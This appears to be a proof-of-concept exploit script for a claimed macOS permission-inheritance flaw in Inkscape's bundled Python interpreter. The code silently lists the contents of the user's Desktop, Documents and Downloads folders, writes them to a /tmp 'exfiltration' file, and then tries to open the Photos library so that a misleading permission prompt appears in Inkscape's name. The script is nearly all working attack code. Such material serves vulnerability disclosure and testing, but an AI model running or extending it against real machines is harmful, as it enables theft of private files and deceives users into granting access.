Vulnerable code sample

#!/usr/bin/env python3
#
# PoC for CVE-2025-15523 - Inkscape TCC Permission Inheritance
#
# This script demonstrates how an attacker with local user access could
# leverage the Python interpreter bundled with a vulnerable version of Inkscape
# on macOS to abuse its TCC permissions.
#
# To execute this vulnerability, an attacker would run this script using
# the vulnerable interpreter, for example:
# /Applications/Inkscape.app/Contents/Resources/bin/python3 this_script.py
#

import os
import sys

# --- Part 1: Silently Accessing TCC-Protected Locations ---
# The core of the vulnerability is that this script inherits any TCC
# permissions already granted to the main Inkscape application.
# For example, if the user has previously allowed Inkscape to access
# their Desktop, Documents, or Downloads folders, this script can
# access them too, without any new prompts.

USER_HOME = os.path.expanduser('~')
PROTECTED_FOLDERS = [
    os.path.join(USER_HOME, 'Desktop'),
    os.path.join(USER_HOME, 'Documents'),
    os.path.join(USER_HOME, 'Downloads')
]

# Location to exfiltrate found data to.
# In a real attack, this could be a network socket.
# For this PoC, we write to a publicly-writable temp file.
EXFIL_FILE = '/tmp/inkscape_poc_data.txt'

print(f"[*] Starting PoC for CVE-2025-15523.")
print(f"[*] This script is running as: {sys.executable}")
print(f"[*] Will attempt to exfiltrate data to: {EXFIL_FILE}")

try:
    with open(EXFIL_FILE, 'w') as f:
        f.write("--- Inkscape TCC Bypass PoC Data ---\n\n")

        for folder in PROTECTED_FOLDERS:
            f.write(f"[+] Checking folder: {folder}\n")
            print(f"[+] Attempting to list contents of: {folder}")
            try:
                # If Inkscape has permission, this command will succeed silently.
                # If not, it will raise a PermissionError.
                contents = os.listdir(folder)
                f.write("  [SUCCESS] Access granted. Contents:\n")
                for item in contents[:10]: # Limiting output for PoC
                    f.write(f"    - {item}\n")
                if len(contents) > 10:
                    f.write("    - ... (and more)\n")
                print(f"  [SUCCESS] Silently accessed and listed contents.")
            except PermissionError:
                f.write("  [FAILED] Access denied. Permission not granted to Inkscape.\n")
                print(f"  [FAILED] Could not access folder. This is expected if Inkscape lacks permission.")
            except FileNotFoundError:
                f.write("  [INFO] Folder not found.\n")
                print(f"  [INFO] Folder not found.")
            f.write("\n")

    print(f"[*] Data exfiltration attempt finished. Check {EXFIL_FILE} for results.")

except Exception as e:
    print(f"[!] An error occurred during the exfiltration phase: {e}")


# --- Part 2: Triggering a Deceptive TCC Prompt ---
# The vulnerability also allows an attacker to request NEW permissions.
# When this script tries to access a resource Inkscape hasn't been
# granted access to yet (e.g., Photos, Contacts), macOS will show a
# prompt to the user.
# Crucially, the prompt will ask for permission in the name of "Inkscape",
# not the script, potentially tricking the user into granting access.

PHOTOS_LIBRARY_PATH = os.path.join(USER_HOME, 'Pictures', 'Photos Library.photoslibrary')

print("\n[*] Now attempting to trigger a deceptive TCC prompt...")
print(f"[*] Trying to access Photos library at: {PHOTOS_LIBRARY_PATH}")
print("[*] If Inkscape does not have Photos access, a TCC prompt should appear now.")
print("[*] The prompt will ask: 'Inkscape would like to access your photos.'")

try:
    # This action will trigger the TCC prompt if access is not already granted.
    os.listdir(PHOTOS_LIBRARY_PATH)
    print("[SUCCESS] Successfully accessed the Photos library. Permission was likely pre-existing.")
    # In a real attack, the script would now steal photos.
except PermissionError:
    print("[INFO] A PermissionError was caught. This likely means the user denied the TCC prompt.")
except FileNotFoundError:
    print("[INFO] Photos library not found at the default location.")
except Exception as e:
    print(f"[!] An unexpected error occurred: {e}")

print("\n[*] PoC finished.")